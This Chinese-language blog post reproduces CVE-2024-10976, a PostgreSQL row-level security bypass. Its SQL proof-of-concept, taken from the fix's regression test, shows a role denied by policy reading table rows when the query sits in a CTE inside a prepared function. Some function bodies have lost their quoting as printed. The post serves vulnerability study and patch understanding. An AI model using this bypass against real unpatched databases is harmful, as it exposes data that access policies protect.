漏洞修复学习之CVE-2024-10976漏洞复现

PostgreSQL数据库的漏洞复现可以从其修复代码中的回归测试脚本中获取,以下是抽取简化后的复现验证脚本。

-- ./psql -f ../../cve-2024-10976.sql

DROP FUNCTION IF EXISTS rls_f;

DROP table IF EXISTS rls_t;

DROP ROLE IF EXISTS regress_rls_alice;

DROP ROLE IF EXISTS regress_rls_bob;

-- 创建测试用户

CREATE ROLE regress_rls_alice LOGIN;

CREATE ROLE regress_rls_bob LOGIN;

-- DROP POLICY p1;

-- DROP POLICY p2;

-- 创建测试表

create table rls_t (c text);

-- 插入数据

insert into rls_t values ('invisible to bob');

-- 设置行安全

alter table rls_t enable row level security;

grant select on rls_t to regress_rls_alice, regress_rls_bob;

-- 允许regress_rls_alice访问,不允许regress_rls_bob访问

create policy p1 on rls_t for select to regress_rls_alice using (true);

create policy p2 on rls_t for select to regress_rls_bob using (false);

-- 创建函数rls_f访问表rls_t

create or replace function rls_f () returns setof rls_t

stable language sql

as select \* from rls_t ;

prepare q as select current_user, * from rls_f();

-- 由于行级安全限制,regress_rls_alice可以访问,regress_rls_bob不能访问

set role regress_rls_alice;

execute q;

set role regress_rls_bob;

execute q;

-- make sure RLS dependencies in CTEs are handled

reset role;

-- 增加cte包装

create or replace function rls_f() returns setof rls_t

stable language sql

as with cte as (select \* from rls_t) select \* from cte ;

prepare r as select current_user, * from rls_f();

-- 由于行级安全限制,regress_rls_alice可以访问,regress_rls_bob不能访问

-- 由于漏洞CVE-2024-10976的存在,regress_rls_bob也能访问表rls_t

set role regress_rls_alice;

execute r;

set role regress_rls_bob;

execute r;

相关推荐
海上彼尚16 分钟前
【微信小程序】xxx该网站的安全证书存在问题,可选择 “继续”在浏览器中访问。
安全·微信小程序·小程序
极限挑战哥30 分钟前
深度拆解团购多商户分账系统:规则引擎 + 账户体系 + 逆向清算全解析
网络·数据库·人工智能
qq_2842740534 分钟前
电气控制笔记:常用低压电器符号原理与异步电动机点动、自锁、多地控制电路(含考点)
笔记·学习·自动化·制造
数据狐(Datafox)38 分钟前
一文读懂京东商品详情 API:返回字段解读与 JSON 样例
开发语言·数据库·爬虫·json
坤坤子吖1 小时前
Linux 线程同步与互斥——条件变量与线程同步
linux·开发语言·c++·笔记·学习
zyseo81 小时前
谷歌SEO 抓取日志分析脚本:解析访问日志,看穿 Googlebot 的抓取行为
大数据·数据库·搜索引擎·自动化
德迅--文琪1 小时前
应用加速:安全与性能双引擎,守护业务稳定高速运行
安全
凯凯姜1 小时前
Vue 3 深入学习笔记 16:API 请求封装与统一错误处理
vue.js·笔记·学习
迪康coolmu1 小时前
基于迪康端点安全一体化管理系统的 AI 工具使用审计实战
运维·网络·人工智能·安全·电脑